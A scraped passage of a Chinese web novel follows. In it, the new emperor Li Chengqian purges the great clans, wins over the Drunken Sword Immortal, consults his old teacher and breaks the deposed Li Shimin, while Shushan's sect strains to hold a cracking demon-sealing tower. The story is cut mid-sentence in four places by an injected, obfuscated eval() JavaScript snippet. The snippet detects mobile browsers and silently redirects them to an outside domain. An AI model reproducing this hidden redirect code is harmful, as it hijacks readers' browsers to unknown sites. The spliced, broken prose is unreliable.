这一刀,比砍向佛门的,更加血腥,更加残酷。 因为世家门阀的根基,比佛门,要深得多。 他们盘踞在地方上,数百年,甚至上千年。 他们的子弟,遍布朝野。 他们的姻亲,错综复杂。 他们的能量,足以让任何一道政令,都变成一纸空文。 在他们看来,皇帝,换了就换了。 李承乾再霸道,也总有需要他们支持的地方。 只要他们联合起来,抵制新政,这个年轻的皇帝,最终,还是要向他们妥协。 然而,他们错了。 他们错估了李承乾的决心。 也错估了,李承乾的……无情。 面对那些阳奉阴违,企图用各种手段来阻挠“均田令”的世家。 李承乾的回应,只有一个字。 “杀!” 血,染红了江南的河流。 火,烧遍了关中的坞堡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284697|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个个传承了数百年的高门大姓,在神策军的铁蹄之下,灰飞烟灭。 他们的财富,被充公。 他们的土地,被瓜分。 他们的族人,无论男女老幼,尽数,被贬为官奴,永世不得翻身。 铁血的**,震慑了所有心怀不轨的人。 也让天下人,第一次,见识到了这位新君的恐怖。 他,是真的,要将这张旧世界的桌子,掀个底朝天! 而在这血与火之中,新生的秩序,开始建立。 一队队的官员,带着丈量土地的工具,和崭新的地契,走进了每一个村庄。 “奉陛下旨意,分田到户!凡我大唐子民,皆有田可耕!” 当那些一辈子都在为地主劳作,连一块属于自己的土地都没有的佃户,从官员手中,接过那张写着自己名字的地契时。 他们哭了。 他们激动得,浑身颤抖,跪在地上,朝着长安的方向,拼命地磕头。 “陛下圣明!” “吾皇万岁!万岁!万万岁!” 最朴素的,最真挚的,也是最磅礴的“人道愿力”,从帝国的每一个角落,升腾而起,汇聚成一股无形的洪流,涌向了长安,涌向了那个带给他们新生的人。 李承乾站在皇宫的最高处,感受着这股力量。 他的脸上,依旧没有任何表情。 他知道,这只是第一步。 他用屠刀和恩惠,强行将这个国家,拧成了一股绳。 但这根绳子,还很脆弱。 他需要,更多的力量。 他的目光,望向了蜀山的方向。 长安城在李承乾的铁腕之下,发生着翻天覆地的变化。 血腥与新生,在这座古老的都城里,诡异地交织在一起。 而玄武门城楼上,却成了被遗忘的角落。 李承乾处理完所有政务之后,并没有离开。 他只是静静地站着,目光,落在了那个从始至终,都像个局外人一样的酒鬼身上。 酒剑仙。 司剑。 这个名字,在清微道长的解释中,李承乾已经知道了他的身份。 蜀山上一代掌教的师弟,百年难得一见的剑道奇才,因为不满蜀山戒律,叛出师门,游戏人间。 一个很有意思的人。 也是一个,很强大的战力。 李承乾能感觉到,虽然酒剑仙的道心破碎,剑也断了,但他的根基,还在。 那份对“道”的领悟,那份“天人合一”的境界,并没有消失。 只要给他一个机会,一个目标,他,依旧是那个可以一指**三千仙剑的绝世强者。 第158章 天魔将至,大劫降临 李承乾走到酒剑仙的面前。 酒剑仙抬起头,那双复杂的眸子,看着李承乾。 有敬畏,有不解,也有一丝,连他自己都没察觉到的……迷茫。 “你的道,碎了。”李承乾开门见山,声音平淡。 酒剑仙闻言,自嘲地一笑。 “是啊,碎了。”他看了一眼地上那半截断剑,“碎得,连渣都不剩了。” “所以,你打算就这么,当一辈子废人?”李承乾问道。 “不然呢?”酒剑仙摊了摊手,一脸的光棍,“道都没了,剑也断了,我还能做什么?继续回去当我的酒鬼呗。喝死拉倒,一了百了。” 他的话,说得洒脱。 但李承乾,却从他那故作轻松的眼神深处,看到了一丝不甘。 一个曾经站在巅峰的人,又岂会真的甘心,就此沉沦? “你的‘人间道’,错了。”李承乾缓缓说道。 “是,我错了。”酒剑仙答得很快,也很干脆。 “你错在,你把‘人间’,和‘人间’的统治者,混为了一谈。”李承乾的声音,带着一种直指人心的力量。 酒剑仙的身体,微微一震。 “你以为,守护李世民那样的**子,就是守护人间秩序。你以为,遵从他那可笑的圣旨,就是顺应天理。” “所以,当你知道真相后,你的道,就崩了。因为你发现,你守护的,是一个谎言。” 李承乾看着他,一字一顿地说道:“但,你有没有想过。” “李世民是谎言,可‘人间’,不是。” “那些在田里劳作的老农,是真的。” “那些十年寒窗的书生,是真的。” “那些在战场上抛头颅洒热血的士兵,是真的。” “那些你曾看到过的,感受过的,人间的喜怒哀乐,悲欢离合……全都是真的!” 李承乾的话,像是一道道光,照进了酒剑仙那片混沌黑暗的内心世界。 是啊。 李世民是假的,是虚伪的。 可人间,是真的。 他所守护的“对象”,从一开始,就错了。 但他守护的“心”,那份想要让这片人间变得更好的心,有错吗? 酒剑仙的眼神,开始剧烈地波动起来。 “你的‘人间道’,没有碎。”李承乾继续说道,“它只是,被蒙上了灰尘。” “你需要的,不是放弃它,而是,擦亮它,然后,为它,找到一个新的方向。” “新的方向?”酒剑仙喃喃自语。 “对。”李承乾的目光,变得无比深邃,穿透了时空,看到了那即将到来的,毁天灭地的末日。 “天魔将至,大劫降临。这片你曾经流连过的,爱过的,守护过的‘人间’,即将,化为一片焦土。” “到那时,所有你看到的真实,都将变成虚无。” “老农,书生,士兵……所有的人,都将在哀嚎中,化为飞灰。” 李承乾看着酒剑仙,声音里,带着一种无法抗拒的,宏大的煽动力。 “现在,有一个机会,摆在你面前。” “一个,可以让你,真正去‘守护’这片人间的机会。” “你的剑,断了,可以重铸。” “你的道,迷失了,可以重寻。” “酒剑仙,司剑。” 李承乾伸出手。 “孤,不是在命令你,也不是在收服你。” “孤,是在邀请你。” “邀请你,与孤一起,不为君王,不为权柄,只为这片即将毁灭的‘人间’……” “战一次!” “为这片即将毁灭的‘人间’……战一次!” 李承乾的话,在空旷的城楼上回荡。 酒剑仙呆呆地看着他,看着他伸出的那只手。 他的心,那颗本已沉寂如死水的心,在这一刻,不受控制地,剧烈地跳动了起来。 战! 为了人间而战! 这个念头,像是一颗火种,落入了他那片枯寂的草原,瞬间,便燃起了熊熊大火! 是啊! 他为什么修剑? 他为什么悟道? 不就是为了,逍遥天地间,除魔卫道吗? 他之前,以为李承乾是“魔”,所以他要除掉他。 可现在,他知道了。 真正的“魔”,是那个高悬于世间所有人头顶,即将降临的,灭世天劫! 那才是,他这柄剑,真正应该指向的敌人! 他错了一百年。 他游戏人间,他逍遥自在,他以为自己看透了红尘。 可他,却从未真正地,为这片红尘,做过什么。 他就像一个旁观者,冷眼看着这世间的悲欢,偶尔出手,也不过是兴之所至。 他从未想过,自己,要为这片人间,承担起一份责任。 直到今天。 李承乾,这个他眼中的“魔王”,却用最直接,最残酷的方式,告诉了他,什么,才是真正的“道”。 也告诉了他,什么,才是他这柄剑,真正的意义。 酒剑仙的眼中,那丝迷茫,渐渐散去。 取而代之的,是一种前所未有的,清明与坚定。 他看了一眼地上那半截断剑。 剑,是死的。 赋予它意义的,是握着它的人。 他之前,用它来买酒喝,用它来打抱不平,用它来捍卫一个可笑的谎言。 所以,它断了。 而现在…… 酒剑仙缓缓地,伸出了自己的手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292757|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但他没有去握李承乾的手。 而是在所有人,包括李承乾诧异的目光中,将那半截断剑,重新捡了起来。 他轻轻地,抚摸着那冰冷的,断裂的剑身。 “老伙计,”他轻声说道,像是在对一个多年的朋友,“对不住了,让你,蒙羞了百年。” 他说着,另一只手,并指如剑,在那断裂的剑身之上,缓缓划过。 “嗡——!” 一股全新的,与之前“逍遥”截然不同的剑意,从他的指尖,涌入了断剑之中! 那剑意,不再轻灵,不再洒脱。 而是,变得无比的厚重,无比的……坚韧! 带着一股,虽千万人吾往矣,虽天地倾覆吾亦不退的,守护的意志! “咔嚓!” 一声轻响。 那半截断剑,在所有人的注视下,竟以肉眼可见的速度,开始生长! 断裂的剑身,被一种无形的力量,重新连接,熔铸! 只是短短几个呼吸的时间。 一柄全新的,完整的长剑,出现在了酒剑仙的手中。 那剑,依旧是铁剑的模样。 但剑身之上,却流淌着一层淡淡的,如同月华般的光晕。 剑刃,不再锋芒毕露,反而显得有些内敛。 但清微道长等人,却能清晰地感觉到,这柄剑中所蕴含的力量,比之前,强大了何止十倍! 如果说,之前的酒剑仙,是“天人合一”。 那么现在的他,就是将整个“人间”,都扛在了自己的肩上! 他的道,没有碎。 而是,破而后立! “好剑。” 李承乾看着那柄重生的铁剑,由衷地赞叹了一句。 “此剑,可有名字?” 酒剑仙闻言,低头看了一眼手中的长剑,随即,洒然一笑。 “剑本无名。” “今日,便以‘战’为名!” 他说着,抬起头,看向李承呈,那双清澈的眸子里,战意,如同火山般喷发! “陛下。” 他第一次,用如此郑重的称呼,来面对李承乾。 “贫道,愿为陛下之剑,为这人间,斩出一线生机!” 他没有跪下。 但他这一句话,比任何跪拜,都更加沉重。 李承乾笑了。 他收回了手,负手而立。 他知道,自己,得到了这世间,最强大的一柄“守护之剑”。 “好!” 李承乾看着他,又看了看天空中,那严阵以待的清微道长等人。 他的目光,穿透了苍穹。 “既然,孤的剑,都已经到齐了。” “那么……” “这场战争,便从今日,正式开始!” 第159章 浩劫将至,留给大唐的时间不多了。 玄武门前,那股足以让天地变色的战意已经散去。 李承乾负手而立,看着那个重新找回了“道”的酒剑仙,看着那些低头臣服的文武百官,看着城外那黑压压一片,眼神中只剩下狂热的神策军。 他赢了。 赢得了这场玄武门之变的最终胜利。 可他的脸上,没有半分喜悦。 因为他知道,玄武门,只是一个开始。 他真正的棋盘,是这片即将倾覆的天地。 他真正的敌人,是那个被清微道长称为“天外之魔”的恐怖存在。 “陛下。” 清微道长带着五大长老和酒剑仙,来到李承乾身前。 酒剑仙此刻的状态很奇特,他手中的剑虽然重铸,但眼神中依旧带着大彻大悟后的空明,他看着李承乾,不再有之前的敌意,反而多了一份同道中人的审视。 “蜀山之事,便拜托国师了。” 李承乾对着清微道长点了点头,算是正式确立了他的身份。 他没有在玄武门过多停留,也没有立刻返回皇宫去享受那至高无上的权力。 在所有人的注视下,他一步踏出,身影便消失在了原地。 下一刻,他出现在了长安城南的一座书院之外。 这座书院,很普通,甚至有些简陋。 没有雕梁画栋,没有金字牌匾,只有几间青砖瓦房,和院子里一棵不知生长了多少年的老槐树。 这里是长安书院。 大唐的读书人,都知道国子监,知道孔庙,却很少有人知道这座书院的存在。 因为这里,既不教授经义,也不传授功名之法。 这里,只教一个字——“人”。 李承乾整理了一下自己的衣衫,那身在玄武门前染上的无形杀气,在靠近书院的瞬间,便被温润平和的力量化解得干干净净。 他推开虚掩的院门,走了进去。 院子里,一个身穿粗布麻衣,须发皆白的老者,正坐在老槐树下,拿着一把小刻刀,专心致志地雕刻着手中的一块木头。 他雕刻得很认真,手中的不是一块普通的木头,而是整个世界。 听到脚步声,他没有抬头,只是淡淡地问道:“结束了?” “结束了。” 李承乾走到他的面前,很自然地在旁边的石凳上坐下。 在这位老者面前,他不是那个杀伐果断的新君,也不是那个身负救世重任的人皇,只是一个…… 学生。 “死的人,多吗?” 老者又问。 “该死的,都**。” 李承乾的回答很平静。 老者手中的刻刀顿了顿,他终于抬起头,看向李承乾。 他的眼神,很浑浊,就像一个普通的邻家老翁。 但李承乾知道,在这浑浊之下,藏着的是足以看透世间一切虚妄的智慧。 这位老者,便是这座书院的夫子。 也是李承乾这一身惊天动地的修为,真正的引路人。 “你来找我,是为了锁妖塔的事?” 夫子将手中已经初具人形的木雕放下,拿起旁边的茶壶,给李承乾倒了一杯茶。 茶水很普通,就是最常见的粗茶。 李承乾端起茶杯,喝了一口,入口微苦,回味却甘。 “清微说,塔下**的,是天外之魔。天妖皇,不过是祂的气息所化。” 李承乾沉声说道。 “嗯。” 夫子点了点头,对此并不意外。 “清微还说,唯一的生机,在于我。在于我凝聚人道愿力,重塑龙脉封印。” “嗯。” 夫子又点了点头。 李承乾看着夫子这副波澜不惊的样子,眉头微微皱起:“夫子,您早就知道?” “知道一些。” 夫子拿起自己的茶杯,也喝了一口,“但知道,不代表能做到。这条路,古往今来,有无数惊才绝艳之辈尝试过,但都失败了。” “为何?” “因为人心,是天下最难凝聚的东西。” 夫子看着李承乾,眼神变得深邃,“你今日以雷霆手段,许以田地,看似收拢了民心。但这种建立在利益之上的‘愿力’,根基不稳。一旦将来利益无法满足,或者出现了更大的诱惑,它就会立刻崩塌。” “更何况……” 夫子叹了口气,“你杀的人太多了。杀戮,是最容易污染人心的东西。你用被污染的‘人心’,去对抗那至纯的‘毁灭’,无异于抱薪救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292758|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火。” 这番话,与酒剑仙所说,竟有异曲同工之妙。 李承乾沉默了。 他知道夫子说的是对的。 这也是他目前最大的隐患。 “那依夫子之见,我该如何?” 李承乾虚心求教。 “你的路,是你自己选的。我无法教你如何走。” 夫子摇了摇头,“我只能告诉你,水能载舟,亦能覆舟。如何让这艘船,永远安稳地行驶在水面上,是你这个船夫,需要用一生去思考的问题。” “至于那塔里的东西……” 夫子的神情,第一次,有了凝重。 他缓缓伸出手,在他的掌心,空间微微扭曲,有另一个世界正在生灭。 “我曾去过渝州城,见过一个叫景天的年轻人。在他的身上,我看到了另一条神将之路的影子。” “我也曾入魔界,与一个叫重楼的魔尊,论过道。” 李承乾的瞳孔猛地一缩。 魔尊重楼! 这个名字,他曾在最古老的典籍中看到过! 那是与上古神将飞蓬齐名的存在,是魔界的至尊! 夫子,竟然与他论过道? “那魔尊,很强。” 夫子的语气很平静,“以我如今之力,尚不能胜他。” “而据他所说,那塔底的天外之魔,其力量,远在他之上。那是另一个层次的存在,无法用常理揣度。” 夫子看着李承乾,那双浑浊的眼睛里,映照出李承乾坚毅的脸庞。 “所以,承乾。” “这条路,很难走。” “这天下,最终,还是要靠你一个人来扛。” 夫子的话,没有给他任何解决问题的办法,反而给了他更沉重的压力。 李承乾却笑了。 他站起身,将杯中的茶水,一饮而尽。 “夫子放心。” “学生,扛得住。” 他对着夫子,深深一揖。 然后,转身离去。 看着李承承离去的背影,夫子重新拿起了那块木雕,和他手中的刻刀。 他的眼神,变得无比悠远。 “扛得住吗……” “希望吧……” “毕竟,留给我们的时间,真的不多了……” 第160章 蜀山之巅,封印将破 第二天,天还未亮,长安城朱雀大街两侧,就已经站满了文武百官。 他们穿着崭新的朝服,一个个神情肃穆,甚至带着几分紧张和惶恐,低着头,等待着皇宫大门的开启。 昨夜玄武门前发生的一切,对他们的冲击实在是太大了。 皇帝疯了,圣人跪了,仙人败了,十万大军倒戈了。 一个他们从未见过的,充满了铁血与霸道的强权,在一夜之间,拔地而起。 他们不知道,等待他们的,将会是怎样的命运。 那位新君,会不会对他们这些曾经效忠于太上皇的“旧臣”,进行一场惨烈的大清洗? 每个人心里都七上八下的,连大气都不敢喘。 “吱呀——”厚重的宫门,缓缓打开。 身披金甲的李君羡,按着腰间的绣春刀,面无表情地站在门内。 他的身后,是两排手持长戟,眼神冰冷的神策军士卒。 那股肃杀之气,让所有官员的心,都提到了嗓子眼。 “陛下有旨,百官入殿觐见。” 李君羡的声音,不带感情。 魏征、房玄龄、杜如晦三人对视了一眼,都从对方眼中看到了苦涩。 他们整理了一下衣冠,率先迈步,走进了这座他们熟悉又陌生的皇宫。 太极殿。 依旧是那座金碧辉煌的大殿,但今天,这里的感觉,却完全不一样了。 大殿两侧,站着的不再是往日那些气息沉稳的禁军,而是一排排身穿黑色飞鱼服,腰挎绣春刀的不良人。 每一个不良人,身上都散发着生人勿近的阴冷气息,他们的眼神,像鹰一样,扫视着每一个走进大殿的官员,让这些平日里养尊处优的大人们,感觉浑身不自在。 而那高高的龙椅之上,端坐着一个身穿玄色龙袍的年轻身影。 正是李承乾。 他没有戴那沉重的冕旒,一头乌黑的长发用一根简单的玉簪束起。 他只是静静地坐在那里,一手搭在龙椅的扶手上,一手随意地放在膝上,目光平淡地看着下方。 可他身上那股不怒自威的,与生俱来的帝王气势,却让整个大殿的空气,都凝固了。 “臣等,叩见陛下!吾皇万岁,万岁,万万岁!” 以魏征为首,满朝文武,齐刷刷地跪了下去,将头,深深地埋在了冰冷的金砖之上。 这一跪,是发自内心的敬畏。 “平身。” 李承乾的声音响起,很平淡,却清晰地传入每个人耳中。 “谢陛下。” 百官起身,依旧低着头,不敢与龙椅上的那道目光对视。 李承乾的目光,缓缓扫过下方。 他看到了魏征花白的头发,看到了房玄龄和杜如晦紧锁的眉头,也看到了许多官员眼中,那无法掩饰的恐惧。 “昨日之事,想必诸位爱卿,都已心中有数。” 李承乾缓缓开口,“前尘旧事,孤,既往不咎。” 听到这句话,不少官员都暗暗松了一口气。 “但是……” 李承乾的声音,陡然一转,变得冰冷。 “从今日起,年号‘开元’。开元,意味着开创一个全新的纪元。孤的朝堂,不需要拉帮结派,不需要阳奉阴违,更不需要那些只知道空谈阔论的废物。” 他的目光,如同刀子,刮过每一个人的脸。 “孤需要的,是能吏,是干臣!” “孤的旨意,颁布下去,你们要做的,只有一件事——不折不扣地执行!” “谁能做到,孤,不吝封赏。谁做不到,或者,不想做……” 李承乾的嘴角,勾起一抹残酷的弧度。 “那这朝堂之上,有的是想做的人,在等着取代他。” 这番话,充满了赤裸裸的威胁,让所有官员的心,又瞬间提了起来。 这位新君,果然和太上皇完全不一样。 太上皇李世民,虽然也是雄主,但还讲究一个“君臣共治”,讲究一个“纳谏如流”。 而这位开元皇帝,他要的,是绝对的服从! 是毫无保留的执行力! 这是一个,真正的,独断万古的霸王! “李君羡。” 李承乾的目光,落在了殿门口。 “臣在!” 李君羡大步入殿,单膝跪地。 “昨日玄武门,你拨乱反正,当记首功。” 李承乾说道,“着,晋你为神策军大将军,总领京畿防务,赐爵,赵国公。” “轰!” 这个封赏一出,满朝皆惊! 神策军大将军,不良人统帅! 这等于是将整个长安城的军权和监察权,都交到了李君羡一个人的手上! 还有那赵国公的爵位! 这可是开国之后,极少封赏的国公之位! 李君羡也是浑身一震,眼中充满了激动和不敢置信。 “臣……谢陛下天恩!必为陛下,肝脑涂地,万死不辞!” 他重重地,磕了一个响头。 “秦怀玉,程处默,尉迟宝林。” 李承乾又点了几个名字。 “末将在!” 秦琼和程咬金的儿子们,一个个激动地满脸通红,大步出列,跪在地上。 “你等,皆是将门之后,昨日亦有从龙之功。着,入神策军,任左右卫率,辅佐李君羡,拱卫京师。” “谢陛下!” 几个年轻人激动得声音都在颤抖。 一朝天子一朝臣。 李承乾用这几个简单直接的任命,向所有人宣告,他的时代,来临了。 旧的勋贵集团,将被打压。 而新的,只忠于他一个人的权力核心,正在建立。 做完这一切,李承乾的目光,才重新落到魏征等人的身上。 “昨日,孤已颁布五道旨意。” “清查佛寺,均分田地,扩军三百万,蜀山为国教,建修士大軍。” “这五件事,便是开元新政的根基,是重中之重。” “孤给你们一个月的时间。” “一个月之内,孤要看到,第一批从佛寺收缴的钱粮,充入国库。第一批均田令的文书,发放到百姓手中。第一批扩军的兵源,完成集结。” “诸位爱卿,可有异议?” 他问“可有异议”,但那眼神,那语气,分明就是在说:谁敢有异议? 魏征的嘴唇动了动。 以他的脾气,这五条惊世骇俗的政策,他至少能找出一百个弊端来反驳。 什么清查佛寺会动摇民心,什么均分田地会逼反世家,什么扩军三百万会拖垮国库…… 可话到嘴边,他又咽了回去。 他看着龙椅上那个眼神冰冷的年轻人,他知道,跟这位陛下讲道理,是没用的。 他要的,不是讨论,是结果。 “老臣……遵旨。” 魏征艰难地,从牙缝里挤出这三个字,躬身一拜。 有了他带头,房玄龄、杜如晦等人,也只能跟着,躬身领命。 “臣等,遵旨!” “很好。” 李承乾满意地点了点头。 “退朝。” 他站起身,没有丝毫留恋,转身走入了后殿。 只留下满朝文武,面面相觑,心中五味杂陈。 他们知道,从今天起,大唐的天,真的变了。 一场前所未有的,席卷天下的巨大风暴,即将开始。 长安,大明宫,武德殿。 这座宫殿,对于李氏皇族来说,有着非同寻常的意义。 当年,高祖李渊,就是在这里,将皇位传给了秦王李世民,自己当起了太上皇。 而如今,历史开了一个残酷的玩笑。 李世民,也住进了这里。 同样,是以太上皇的身份。 殿内,熏香袅袅,陈设依旧是当年李世民登基前的模样,奢华而不失威严。 可如今的主人,却早已没有了当年的意气风发。 李世民穿着一身明黄色的常服,头发散乱,眼神空洞地坐在软榻上。 他的面前,摆着一桌精致的酒菜,但他却一口未动。 他就那么呆呆地坐着,像一尊失去了灵魂的泥塑。 玄武门前,那如同神魔降世的儿子,那一句句诛心的话语,那最后揭露的,关于“救世”的真相,将他这个“千古一帝”所有的骄傲和尊严,都碾得粉碎。 他引以为傲的“贞观盛世”,在儿子那“与天斗”的宏伟蓝图面前,显得那么的渺小,那么的可笑。 他输了。 输得连底裤都不剩。 现在,他被圈禁在这里,名为“奉养”,实为囚禁。 那个逆子,甚至不屑于杀他。 因为,让他活着,亲眼看着自己建立的一切被推翻,看着自己最看不起的儿子,登上自己永远无法企及的高峰,才是对他这个骄傲了一辈子的帝王,最残忍的惩罚。 “陛下……” 一个温柔的声音,在旁边响起。 长孙皇后端着一碗参汤,走到李世民身边,眼中满是心疼。 “喝点东西吧,您已经一天没吃东西了。” 李世民缓缓地转过头,看着自己的妻子。 这张他看了几十年的,温柔贤淑的脸,此刻,却让他感到无比的陌生。 “观音婢,” 他的声音,沙哑干涩,如同两块破瓦在摩擦,“你说……朕是不是错了?” 长孙皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292759|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后闻言,端着汤碗的手,微微一颤。 她不知道该如何回答。 作为妻子,她应该安慰他。 可作为皇后,作为一个母亲,她见证了李承乾这些年的变化,也隐隐猜到了一些事情。 她知道,自己的丈夫,确实错了。 错在,他从未真正地,去了解过自己的儿子。 “陛下……” 长孙皇后放下汤碗,轻轻握住李世民冰冷的手,“承乾他……或许,他只是用错了方法……” “方法?” 李世民突然神经质地笑了起来,那笑声,充满了自嘲。 “哈哈……方法……你以为,这只是方法的问题吗?” 他猛地甩开长孙皇后的手,站起身,在大殿里来回踱步,状若疯魔。 “朕在与人斗!与建成斗,与元吉斗,与那些世家门阀斗,与突厥斗!朕以为,自己赢了天下!” 他指着自己的胸口,又指着殿外那片天。 “可他呢!他在与天斗!” “他在拿这整个天下当棋盘!拿万民当棋子!他在谋划的,是连神仙都要颤抖的事情!” “你懂吗?!朕和他,从一开始,就不在一个层面上!” 李世民的眼中,布满了血丝,那里面,有不甘,有嫉妒,但更多的,是一种被彻底碾压后的,深深的恐惧。 “朕,不过是个凡人帝王。而他……他是个怪物!是个疯子!” “朕怎么跟他斗?朕拿什么跟他斗?!” 他咆哮着,发泄着心中的**和恐惧,最后,又无力地,瘫软回了软榻上。 “完了……都完了……” 他喃喃自语,眼神再次变得涣散。 长孙皇后看着丈夫这副模样,心如刀割。 她知道,李世民的心气,已经彻底被击垮了。 这个曾经顶天立地的男人,再也站不起来了。 就在这时,殿外传来一阵脚步声。 一名小太监,战战兢兢地走了进来,跪在地上,头都不敢抬。 “启禀……启禀太上皇,皇后娘娘。” “何事?” 长孙皇后强忍着悲痛,问道。 “陛下……陛下刚刚下旨,封……封前太子妃苏氏……为……为开元皇后,母仪天下。” “轰!” 这个消息,一道最后的惊雷,狠狠地劈在了李世民和长孙皇后的天灵盖上。 苏氏…… 那个被他们废黜,打入冷宫的儿媳妇。 那个被他们认为,是李承乾人生污点的女人。 现在,她成了新朝的皇后。 而自己这个曾经的皇后,却要在这武德殿中,陪着一个废人,了此残生。 长孙皇后的身体,晃了晃,脸色瞬间变得惨白如纸。 而软榻上,那个本已失魂落魄的李世民,在听到这个消息后,那涣散的眼神,骤然收缩! 难以言喻的,比杀了他还要难受的**,涌上了心头。 那个逆子! 他不仅要夺走他的江山,他还要用这种方式,来羞辱他! 来告诉他,他过去所做的一切决定,都是错的! “噗——!” 李世民再也压抑不住,一口鲜血,猛地喷了出来,染红了身前的衣襟。 随即,他两眼一翻,直挺挺地,倒了下去。 “陛下!” 长孙皇后发出一声凄厉的尖叫。 整个武德殿,乱成了一团。 而这一切,早已无法再对长安城的权力格局,产生任何一毫的影响。 旧日的太阳,已经彻底落下。 就在长安城因为新皇登基而暗流涌动之时,远在千里之外的蜀山,却是一片愁云惨淡。 蜀山之巅,锁妖塔前。 清微道长和五大长老,以及刚刚返回山门的酒剑仙,神情凝重地看着眼前这座通天巨塔。 此刻的锁妖塔,比清微道长用水镜术展示给孔伯渊等人看的,还要凄惨。 塔身上,那道几乎贯穿了半个塔身的巨大裂痕,又扩大了几分。 丝丝缕缕的,漆黑如墨的妖气,正从中不断地渗透出来,将周围的天空,都染上了一层不祥的灰色。 塔的周围,数千名蜀山弟子结成的“两仪微尘剑阵”,光芒已经变得十分黯淡。 许多年轻弟子,因为灵力耗尽,已经昏**过去,被同门抬到后方。 剩下还在坚持的,也个个脸色惨白,嘴角挂着血迹,全靠意志力在硬撑。 “师兄,不能再这样下去了!” 凤道人看着那些摇摇欲坠的弟子,眼中满是焦急和不忍。 “再这样下去,不等塔里的妖魔出来,我们的弟子,就要先被这妖气给耗**!” 第161章 三十年国运,武氏代唐 “我何尝不知。”清微道长叹了口气,声音里充满了疲惫,“可如今,除了用剑阵硬抗,我们还有别的办法吗?” 所有人都沉默了。 锁妖塔的根基,是神州龙脉。 如今龙脉被污,气运衰败,锁妖塔的封印之力,正在以一种不可逆转的速度流逝。 他们现在所做的,不过是拆了东墙补西墙,用蜀山数千年的灵力积累,去延缓那最终的崩溃而已。 “都怪那该死的佛门!”一名长老恨声说道,“若不是他们这几百年来,如蛀虫一般,疯狂窃取人间气运,龙脉何至于衰败到如此地步!” “现在说这些,已经晚了。”酒剑仙灌了一口酒,他虽然已经重立道心,但那嗜酒的毛病,却是一点没改。 他看着那座不断逸散着妖气的巨塔,那双恢复了清明的眸子里,闪过一丝凝重。 “我在人间游历百年,去过许多地方。这天下的龙脉,早已是千疮百孔。长安城下那一条主脉,还能靠着历代帝王龙气**,勉强维持。可其他地方的分支龙脉,十之**,都已经被那些寺庙,吸干了。” “如今,新皇虽然下令清查佛寺,但这就像一个人,血已经被抽干了,你现在把插在他身上的管子拔掉,也救不回他的命。” 酒剑仙摇了摇头,“龙脉的恢复,非一日之功。可这塔……看样子,是撑不了多久了。” 他的话,让所有人的心,都沉到了谷底。 “司剑师叔,”清微道长看向酒剑仙,眼中带着一丝希冀,“您见多识广,可有什么上古秘法,能够暂时加固封印?” 酒剑仙闻言,苦笑一声。 “若是有,我早就用了,还会等到现在?” 他顿了顿,又说道:“办法,倒也不是完全没有。” “什么办法?”众人精神一振,齐齐看向他。 “血祭。”酒剑仙缓缓吐出两个字。 “血祭?”清微道长眉头紧锁。 “不错。”酒剑仙的眼神变得有些复杂,“上古之时,若遇封印松动,便会有大能修士,以自身精血神魂为祭,化作封印的一部分,可保千年不失。” “只是……”他话锋一转,“如今这末法时代,哪里还有什么所谓的大能修士?就算把我这把老骨头填进去,恐怕,也就能多撑个三五天,没什么意义。” “更何况,”酒剑仙的目光,扫过在场的每一个人,“你们谁,愿意去做这个祭品?” 清微道长和五大长老,再次沉默了。 修行不易,长生更是每个修士的终极追求。让他们为了一个不确定的未来,去牺牲自己,这……太难了。 “所以,到头来,我们唯一的希望,还是在那位新皇身上。”酒剑仙仰头,将葫芦里的酒一饮而尽。 “希望他那套‘以杀证道’的法子,真的能像他说的那样,在一年之内,凝聚起足以重塑龙脉的人道愿力吧。” “可……”凤道人还是有些担忧,“师叔,您之前不是说,他那条路,是饮鸩止渴,只会加速天妖皇的苏醒吗?” “此一时,彼一时。”酒剑仙擦了擦嘴角的酒渍。 “之前,我以为他只是一个被权力欲望冲昏了头的疯子。但现在,我知道了,他是一个有明确目标的,比谁都清醒的疯子。” 酒剑仙的脑海中,回想起了李承乾那句“身前三尺我为天”,那股唯我独尊,要将一切都踩在脚下的霸道意志。 